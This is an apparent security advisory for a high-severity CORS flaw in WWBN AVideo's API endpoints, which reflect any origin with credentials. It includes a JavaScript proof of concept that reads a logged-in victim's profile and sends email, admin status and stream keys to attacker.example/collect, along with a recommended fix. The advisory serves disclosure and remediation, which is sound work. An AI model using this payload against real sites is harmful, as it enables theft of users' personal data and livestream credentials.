PT-2026-35108 · Packagist · Wwbn Avideo
Published
2026-04-14
·
Updated
2026-04-14
CVSS v3.1
8.1
High
| Vector | AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
Summary
The
allowOrigin($allowAll=true) function in objects/functions.php reflects any arbitrary Origin header back in Access-Control-Allow-Origin along with Access-Control-Allow-Credentials: true. This function is called by both plugin/API/get.json.php and plugin/API/set.json.php — the primary API endpoints that handle user data retrieval, authentication, livestream credentials, and state-changing operations. Combined with the application's SameSite=None session cookie policy, any website can make credentialed cross-origin requests and read authenticated API responses, enabling theft of user PII, livestream keys, and performing state changes on behalf of the victim.Details
The vulnerable code path is in
objects/functions.php lines 2773-2791:php
// objects/functions.php:2773
if ($allowAll) {
$requestOrigin = $ SERVER['HTTP ORIGIN'] ?? '';
if (!empty($requestOrigin)) {
header('Access-Control-Allow-Origin: ' . $requestOrigin);
header('Access-Control-Allow-Credentials: true');
} else {
header('Access-Control-Allow-Origin: *');
}
// ... allows all methods and headers ...
return;
}This is called unconditionally at the top of both API entry points:
php
// plugin/API/get.json.php:12
allowOrigin(true);
// plugin/API/set.json.php:12
allowOrigin(true);The comment above the code claims "These endpoints return public ad XML and carry no session-sensitive data" — this is incorrect. The same
allowOrigin(true) call gates the entire API surface.The attack is enabled by the session cookie configuration at
objects/include config.php:144:php
ini set('session.cookie samesite', 'None');This ensures the browser sends the victim's session cookie on cross-origin requests, which the API then uses for authentication via
$ SESSION['user']['id'] (in User::getId()).When a logged-in user's session is present, the
get api user endpoint (API.php:3009) returns full user data without sanitization for the user's own profile ($isViewingOwnProfile = true bypasses removeSensitiveUserFields), including:- Email, full name, address, phone, birth date (PII)
- Admin status and permission flags
- Livestream server URL with embedded password (API.php:3059)
- Encrypted stream key (API.php:3063)
The recent fix in commit
986e64aad addressed CORS handling in the non-$allowAll path (null origin and trusted subdomains) but left this far more dangerous $allowAll=true path completely untouched.PoC
Step 1: Host the following HTML on any domain (e.g.,
https://attacker.example):html
<html>
<body>
<h1>AVideo CORS PoC</h1>
<script>
// Step 1: Steal user profile data (PII, admin status, stream keys)
fetch('https://TARGET/plugin/API/get.json.php?APIName=user', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
document.getElementById('result').textContent = JSON.stringify(data, null, 2);
// Exfiltrate to attacker server
navigator.sendBeacon('https://attacker.example/collect',
JSON.stringify({
email: data.user?.email,
name: data.user?.user,
isAdmin: data.user?.isAdmin,
streamKey: data.livestream?.key,
streamServer: data.livestream?.server
})
);
});
</script>
<pre id="result">Loading...</pre>
</body>
</html>Step 2: Victim visits the attacker page while logged into the AVideo instance.
Step 3: The browser sends a credentialed cross-origin GET request to the API. The server responds with:
Access-Control-Allow-Origin: https://attacker.example
Access-Control-Allow-Credentials: trueStep 4: The attacker's JavaScript reads the full authenticated API response containing the victim's email, name, address, phone, admin status, livestream credentials, and stream keys.
Step 5 (optional escalation): The attacker can also invoke
set.json.php endpoints to perform state changes on behalf of the victim.Impact
- User PII theft: Email, full name, address, phone number, birth date of any logged-in user who visits an attacker-controlled page
- Account compromise: Livestream server credentials (including password) and stream keys are exposed, allowing stream hijacking
- Admin reconnaissance: Admin status and all permission flags are exposed, enabling targeted attacks on privileged accounts
- State modification: The
set.json.phpendpoint is equally affected, allowing attackers to perform write operations (video management, settings changes) on behalf of the victim - Mass exploitation: No per-user targeting required — a single attacker page can harvest data from every logged-in visitor
Recommended Fix
Replace the permissive origin reflection in
allowOrigin() with validation against the site's configured domain. The $allowAll path should validate the origin the same way the non-$allowAll path does:php
// objects/functions.php:2773 — replace the $allowAll block with:
if ($allowAll) {
$requestOrigin = $ SERVER['HTTP ORIGIN'] ?? '';
if (!empty($requestOrigin)) {
// Validate origin against site domain before reflecting
$siteOrigin = '';
if (!empty($global['webSiteRootURL'])) {
$parsed = parse url($global['webSiteRootURL']);
if (!empty($parsed['scheme']) && !empty($parsed['host'])) {
$siteOrigin = $parsed['scheme'] . '://' . $parsed['host'];
if (!empty($parsed['port'])) {
$siteOrigin .= ':' . $parsed['port'];
}
}
}
if ($requestOrigin === $siteOrigin) {
header('Access-Control-Allow-Origin: ' . $requestOrigin);
header('Access-Control-Allow-Credentials: true');
} else {
// For truly public resources (ad XML), allow without credentials
header('Access-Control-Allow-Origin: ' . $requestOrigin);
// Do NOT set Allow-Credentials for untrusted origins
}
} else {
header('Access-Control-Allow-Origin: *');
}
// ... rest of headers ...
}Additionally, consider separating the truly public endpoints (VAST/VMAP ad XML) from the sensitive API endpoints so they can have different CORS policies, rather than sharing one permissive
allowOrigin(true) call.Fix
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Weakness Enumeration
Related Identifiers
Affected Products
Wwbn Avideo